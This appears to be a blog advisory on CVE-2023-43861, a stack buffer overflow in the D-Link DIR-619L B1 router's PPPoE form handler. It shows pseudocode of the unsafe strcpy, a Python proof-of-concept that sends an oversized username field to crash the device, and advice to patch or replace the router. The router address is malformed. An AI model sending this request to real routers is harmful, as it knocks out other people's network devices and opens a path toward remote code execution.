In September 2023, a serious vulnerability named CVE-2023-43861 was discovered in the D-Link DIR-619L B1 router (version 2.02). This flaw lets hackers cause a buffer overflow through the router’s web interface, specifically in the formSetWanPPPoE function. A bad actor can crash the device or even execute their own code with root privileges—without needing a password.

This post digs deep: you’ll get details, easy-to-follow snippets, how exploitation works, and reference links. If you own a DIR-619L B1 or work with them, read on!

Type: Buffer Overflow (Classic stack-based)

If an attacker sends an overlong HTTP POST parameter to the web interface’s WAN PPPoE setup, the router’s code fails to check the length. The overflow can let someone run code of their choice, meaning they might get remote control of your router.

The Vulnerable Code

The problem is in the C code handling incoming HTTP form posts for PPPoE settings. The developer forgot to use safe string functions, leading to unsafe copying of user-supplied data.

Pseudocode representation

void formSetWanPPPoE(request)
{
    char userInput[128];
    // The input is copied without checking the length!
    strcpy(userInput, request->POST["wan_pppoe_username"]);
    // ...
}

The code above shows the error. strcpy grabs everything you send—even if it's bigger than userInput. When that input is too big, it will overflow the buffer, smash return addresses, and allow code execution.

How to exploit

1. Connect to the router’s web panel (usually http://192.168..1/).

Python example using requests library

import requests

router = 'http://192.168..1';
url = router + '/formSetWanPPPoE'

# Build a long payload to overflow the buffer
overflow = 'A' * 512

payload = {
    'wan_pppoe_username': overflow,
    'wan_pppoe_password': 'password'
}

# No login required on many default D-Link configs!
r = requests.post(url, data=payload)
print('Response code:', r.status_code)

What happens?
The router will likely hang, reboot, or otherwise misbehave. With skill, attackers can turn this into a *remote code execution* exploit.

Attack is simple—just an HTTP request

This is serious—if you have this router firmware in use, update or replace it right away.

References and Official Resources

- Exploit Database: CVE-2023-43861
- NVD Entry: CVE-2023-43861
- D-Link DIR-619L Product Page
- Firmware Download (D-Link)

Final Thoughts

Buffer overflows are old, but they’re dangerous when forgotten. CVE-2023-43861 is an example: the casual use of unsafe C string functions left D-Link DIR-619L B1 wide open.

If you use D-Link DIR-619L B1 v2.02:
Fix this NOW by updating, isolating, or replacing the device. Don’t let old vulnerabilities haunt your network!

Timeline

Published on: 09/28/2023 14:15:21 UTC
Last modified on: 09/29/2023 04:32:26 UTC